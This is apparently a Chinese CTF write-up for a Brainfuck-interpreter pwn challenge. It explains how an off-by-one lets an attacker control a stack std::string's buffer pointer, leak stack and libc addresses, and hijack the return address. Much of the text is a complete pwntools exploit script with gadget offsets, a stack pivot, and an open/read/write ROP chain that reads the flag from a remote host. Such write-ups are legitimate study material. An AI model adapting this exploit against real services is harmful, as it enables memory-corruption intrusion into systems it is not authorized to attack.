首先,检查一下程序的保护机制
然后,我们用IDA分析一下,发现是一个brain fuck语言的解释器,其中在>指令操作中,存在一个off by one,ptr指针可以指向string对象, 
然后,通过后面的read等操作,可以控制string内部第一个指针的低1字节
而结尾的时候,会输出string指针指向的地方的内容
因此,控制string指针,我们现在可以完成数据泄露。
String对象内部有这4个成员,我们能够通过off by one控制buf。该指针指向字符串的数据开始处。
1 2 3 4 5 6
| struct { char *buf; size_t size; size_t capacity; char tmp_buf[8]; };
|
程序开头,使用operator+来将字符连接到string中,operator+主要就是把字符串拼接到buf+size指向的位置处。而开头的时候,使用了clear(&string,0),该操作将把size赋值为0,由此,我们可以利用此来实现string指针地址附近任意读写。
通过阅读源码再加以调试,[string对象初始的时候,其buf指针一开始指向string对象的tmp_buf处]{.mark},当长度超过8字节时,会使用malloc分配堆内存来存储字符串。这就是重点了。
这个string对象是放在栈上的,所以只要其字符串不超过8字节,那么buf指向的就是栈地址,通过低1字节控制buf指向,就能实现对栈上数据进行读写。当我们控制栈以后,修改capacity,这样,就可以写更多的数据,而不会触发string调用malloc重新申请内存。我们劫持返回地址,做ROP即可。我们可以把rop布置在前面的box里面。当我们结束修改以后,最后我们需要把buf指针改回原来的位置,不然string的析构函数执行时会崩溃。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') offset = libc.symbols['__libc_start_main'] + 0xE7 open_s = libc.sym['open'] read_s = libc.sym['read'] write_s = libc.sym['write']
while True: try: global sh sh = remote('124.156.135.103',6002) payload = '+[>+],' sh.sendlineafter('enter your code:',payload) sh.sendafter('running....',p8(0xB0)) sh.recvuntil('done! your code: ') x = u64(sh.recv(6).ljust(8,'\x00')) if x >> 40 != 0x7F: raise Exception('leak error') stack_addr = x print 'stack_addr=',hex(x) sh.sendafter('want to continue?','y') sh.sendlineafter('enter your code:',payload) sh.sendafter('running....',p8(0xC8)) sh.recvuntil('done! your code: ') x = u64(sh.recv(6).ljust(8,'\x00')) if x >> 40 != 0x7F: raise Exception('leak error') libc_base = x - offset pop_rdi = libc_base + 0x000000000002155f pop_rsi = libc_base + 0x0000000000023e6a pop_rdx = libc_base + 0x0000000000001b96 pop_rsp = libc_base + 0x0000000000003960 open_addr = libc_base + open_s read_addr = libc_base + read_s write_addr = libc_base + write_s print 'libc_base=',hex(libc_base) print 'open_addr=',hex(open_addr) print 'read_addr=',hex(read_addr) print 'write_addr=',hex(write_addr) sh.sendafter('want to continue?','y')
rop_addr = stack_addr - 0x1C0 flag_addr = rop_addr + 0x98
sh.sendlineafter('enter your code:',payload) sh.sendafter('running....',p8(0xC8-8)) sh.sendafter('want to continue?','y') payload = '+[,>+],a' + p64(pop_rsp) + p64(rop_addr) sh.sendlineafter('enter your code:',payload)
sh.recvuntil('running....') rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr) rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr) rop += './flag\x00' for i in range(0x400 - len(rop) - 1): sh.send('a') for x in rop: sh.send(x) sh.send('a') sh.send(p8(0x90))
sh.interactive() except: sh.close() print 'trying...'
|